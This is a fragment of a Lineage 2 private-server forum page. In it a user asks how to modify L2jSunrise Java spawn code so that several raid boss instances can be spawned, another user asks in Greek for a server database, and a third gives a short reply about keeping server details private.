    • Hello, i use L2jSunrise, and i want to know how i can edit these lines to have possibility to spawn more than 1 raid ( instance )?   if (RaidBossSpawnManager.getInstance().isDefined(spawn.getId())) { activeChar.sendMessage("You cannot spawn another instance of " + template.getName() + "."); } else { if (template.isType("L2RaidBoss")) { spawn.setRespawnMinDelay(43200); spawn.setRespawnMaxDelay(129600); RaidBossSpawnManager.getInstance().addNewSpawn(spawn, 0, template.getBaseHpMax(), template.getBaseMpMax(), permanent); } else { SpawnTable.getInstance().addNewSpawn(spawn, permanent); spawn.init(); } if (!permanent) { spawn.stopRespawn(); } activeChar.sendMessage("Created " + template.getName() + " on " + target.getObjectId()); }  
    • για σας εχεισ κανεις την database του l2 trinity  ?  ευχαριστω 
    • Sorry I can't reveal my server information to you. If you are really interested then pm me and come to my server to test it
  • Topics

×
×
  • Create New...